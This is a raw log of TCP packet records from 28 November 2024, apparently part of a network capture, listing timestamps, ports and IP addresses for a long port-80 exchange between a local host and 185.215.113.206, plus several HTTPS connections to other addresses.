Nov 28, 2024 02:27:46.545963049 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.546034098 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.546101093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.546200037 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.546957016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.547035933 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.547074080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.547108889 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.548005104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.548059940 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.548170090 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.548204899 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.549036980 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.549097061 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.549139977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.549176931 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.550060987 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.550116062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.550152063 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.550326109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.551105022 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.551175117 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.551214933 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.551249981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.552141905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.552205086 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.552241087 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.552278042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.553174019 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.553225040 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.553272963 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.553307056 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.554193020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.554254055 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.554299116 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.554338932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.555231094 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.555299044 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.555346012 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.555382013 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.556267977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.556325912 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.556384087 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.556416988 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.557307959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.557356119 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.557405949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.557440996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.558334112 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.558413982 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.558437109 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.558470964 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.559370995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.559425116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.559470892 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.559755087 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.560426950 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.560480118 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.560511112 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.560544968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.561453104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.561502934 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.561541080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.561573982 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.562465906 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.562520981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.562560081 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.562593937 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.563500881 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.563554049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.563606977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.563728094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.564539909 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.564589977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.564642906 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.564677954 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.565572023 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.565612078 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.565670967 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.565737009 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.566620111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.566689014 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.566710949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.566745043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.567652941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.567692995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.567742109 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.567784071 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.568676949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.568716049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.568763018 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.568799973 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.569710970 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.569772959 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.569809914 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.569849014 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.570734024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.570782900 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.570848942 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.570926905 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.571795940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.571865082 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.571897030 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.572052002 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.572822094 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.572887897 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.572918892 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.572979927 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.573859930 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.573947906 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.574004889 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.574899912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.574961901 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.575340033 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.575392008 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.575932980 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.575989962 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.576066971 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.576136112 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.576970100 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.577049017 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.577049971 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.577091932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.577969074 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.578025103 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.578068018 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.578107119 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.579027891 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.579094887 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.579150915 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.580049992 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.580097914 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.580147982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.580182076 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.581084013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.581219912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.581274033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.582120895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.582197905 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.582217932 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.582256079 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.583133936 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.583184958 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.583308935 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.583348036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.606288910 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.606705904 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.606720924 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.608201027 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.608253002 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.608701944 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.608782053 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.608942986 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.608952045 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.618284941 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.618346930 CET	443	49886	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.618590117 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.618608952 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.618710041 CET	49886	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.618725061 CET	443	49886	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.619039059 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.619075060 CET	443	49886	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.619260073 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.619275093 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.619527102 CET	49886	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.619585037 CET	443	49886	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.619600058 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.619656086 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.619677067 CET	49886	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.620047092 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.620110989 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.620141029 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.620364904 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.620414972 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.620872021 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.620932102 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.621033907 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.660892963 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.660902023 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.660928965 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.667330027 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.667340040 CET	443	49886	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.667344093 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.668627024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.668683052 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.668721914 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.668756962 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.669126034 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.669217110 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.669275045 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.669913054 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.669958115 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.670015097 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.670052052 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.670958042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.671006918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.671082020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.671118975 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.671983957 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.672044992 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.672084093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.672123909 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.673041105 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.673093081 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.673135996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.673176050 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.674041986 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.674087048 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.674135923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.674381971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.675072908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.675158024 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.675194025 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.675236940 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.676105022 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.676175117 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.676212072 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.676253080 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.677159071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.677210093 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.677248001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.677290916 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.678177118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.678267956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.678301096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.678348064 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.679230928 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.679296970 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.679327011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.679361105 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.680244923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.680299044 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.680346012 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.680386066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.681273937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.681353092 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.715806007 CET	49900	443	192.168.2.6	20.199.58.43
Nov 28, 2024 02:27:46.715828896 CET	443	49900	20.199.58.43	192.168.2.6
Nov 28, 2024 02:27:46.715918064 CET	49900	443	192.168.2.6	20.199.58.43
Nov 28, 2024 02:27:46.744982958 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.745038033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.745075941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.745141983 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.745498896 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.745551109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.745635033 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.745672941 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.746218920 CET	443	49883	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.746293068 CET	443	49883	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.746335983 CET	49883	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.746517897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.746543884 CET	49883	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.746555090 CET	443	49883	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.746563911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.746572971 CET	49883	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.746577978 CET	443	49883	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.746607065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.746737957 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.747550011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.747592926 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.747668028 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.747735023 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.748570919 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.748622894 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.748672962 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.748730898 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.749586105 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.749630928 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.749684095 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.749725103 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.750036955 CET	49901	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.750061989 CET	443	49901	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.750135899 CET	49901	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.750502110 CET	49901	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.750515938 CET	443	49901	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.750583887 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.750662088 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.750706911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.750869989 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.751621962 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.751682043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.751739025 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.751784086 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.752629995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.752681971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.752728939 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.752868891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.753652096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.753696918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.753753901 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.753793955 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.754823923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.754894018 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.754939079 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.754983902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.755703926 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.755758047 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.755815029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.755949020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.756560087 CET	49900	443	192.168.2.6	20.199.58.43
Nov 28, 2024 02:27:46.756572962 CET	443	49900	20.199.58.43	192.168.2.6
Nov 28, 2024 02:27:46.756710052 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.756825924 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.756880045 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.756927013 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.756942987 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.756994963 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.757002115 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.757734060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.757777929 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.757838964 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.757880926 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.758765936 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.758806944 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.758858919 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.758898020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.759810925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.759860039 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.759953976 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.759994030 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.760793924 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.760845900 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.760915041 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.760955095 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.761815071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.761867046 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.761903048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.761945963 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.762825012 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.762887955 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.762928009 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.762969971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.763876915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.763923883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.763950109 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.763988972 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.764853954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.764904976 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.764976978 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.765013933 CET	49823	80	192.168.2.6	185.215.113.206
